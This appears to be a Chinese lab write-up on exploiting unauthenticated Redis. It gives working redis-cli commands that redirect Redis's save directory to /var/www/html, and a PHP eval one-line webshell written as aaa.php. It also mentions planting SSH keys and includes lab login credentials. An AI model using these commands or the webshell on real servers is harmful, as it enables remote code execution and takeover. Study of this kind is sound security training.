当前位置: 首页 > news >正文

redis未授权访问漏洞复现

一,漏洞介绍

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器
漏洞的产生条件有以下两点:
(1) Redis绑定在6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

二,漏洞复现

1,打开kali虚拟机,安装redis-cli远程连接工具
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/


 


 


2,测试目标网站
-h 目标url地址 -p redis端口号
redis-cli -h lqm2mltk.lab.aqlab.cn -p 6379
输入ping返回PONG则成功连通,输入info即可查看redis信息
 


3,利用config写webshell
写入目录地址config set dir /var/www/html
webshell文件名config set dbfilename aaa.php
写入一句话木马(写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行)
set webshell "\r\n\r\n<?php phpinfo();eval(@$_POST['ydop']);?>\r\n\r\n"
保存save退出exit
 


访问webshell地址,ok 成功
 


(ps:昨晚木马已经写入了,连接的时候突然有这个连接认证,网上搜了一堆资料还以为是我木马写错导致的,今天才知道原来是管理员弄得认证)账号密码:zkaq
 


4,使用webshell管理工具连接木马
访问webshell时会认证,输入正确的账号密码才能访问
抓包发现,关键字是这一串 Authorization,删除掉这个值则无法访问
 


我用的是中国蚁剑,因为添加请求头更方便
输入木马地址
 


输入cookie值,连接
 


终于


查找flag
 


没错,flag就在这里

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

相关文章:

  • K8S中的某个容器突然出现内存和CPU占用过高的情况解决办法
  • 76. 最小覆盖子串(困难)
  • 在线教育平台,easyexcel使用案例
  • WebSocket 心跳机制如何实现
  • 昇思25天学习打卡营第6天|数据变换 Transforms
  • Redis分布式锁的应用场景有哪些
  • 【多维动态规划】Leetcode 221. 最大正方形【中等】
  • AI 会淘汰程序员吗?
  • MySQL之如何处理超大分页
  • Qt绘制多线段
  • vue组件深入介绍之插槽
  • [Go 微服务] Kratos 验证码业务
  • PHP电商系统开发指南数据库管理
  • 多线程软件不响应处理
  • JAVA 面试常见问题详解
  • android 一些 utils
  • Angular2开发踩坑系列-生产环境编译
  • JavaScript标准库系列——Math对象和Date对象(二)
  • Java超时控制的实现
  • Java精华积累:初学者都应该搞懂的问题
  • JS专题之继承
  • python 装饰器(一)
  • spring cloud gateway 源码解析(4)跨域问题处理
  • UMLCHINA 首席专家潘加宇鼎力推荐
  • 记一次用 NodeJs 实现模拟登录的思路
  • 前端技术周刊 2019-02-11 Serverless
  • 深入浅出webpack学习(1)--核心概念
  • ​LeetCode解法汇总307. 区域和检索 - 数组可修改
  • ​ssh-keyscan命令--Linux命令应用大词典729个命令解读
  • #NOIP 2014#day.2 T1 无限网络发射器选址
  • #传输# #传输数据判断#
  • #使用清华镜像源 安装/更新 指定版本tensorflow
  • #我与Java虚拟机的故事#连载06:收获颇多的经典之作
  • ()、[]、{}、(())、[[]]等各种括号的使用
  • (C语言)fgets与fputs函数详解
  • (附源码)小程序 交通违法举报系统 毕业设计 242045
  • (理论篇)httpmoudle和httphandler一览
  • (论文阅读31/100)Stacked hourglass networks for human pose estimation
  • (转)Linq学习笔记
  • (转)shell调试方法
  • .bat批处理(一):@echo off
  • .libPaths()设置包加载目录
  • .NET Core 通过 Ef Core 操作 Mysql
  • .net 使用ajax控件后如何调用前端脚本
  • .NET/C# 异常处理:写一个空的 try 块代码,而把重要代码写到 finally 中(Constrained Execution Regions)
  • .Net6支持的操作系统版本(.net8已来,你还在用.netframework4.5吗)
  • .NET的微型Web框架 Nancy
  • .net中我喜欢的两种验证码
  • /*在DataTable中更新、删除数据*/
  • :如何用SQL脚本保存存储过程返回的结果集
  • @ 代码随想录算法训练营第8周(C语言)|Day53(动态规划)
  • [C++] sqlite3_get_table 的使用
  • [C++]模板与STL简介
  • [CSS]CSS 的背景
  • [Docker]十.Docker Swarm讲解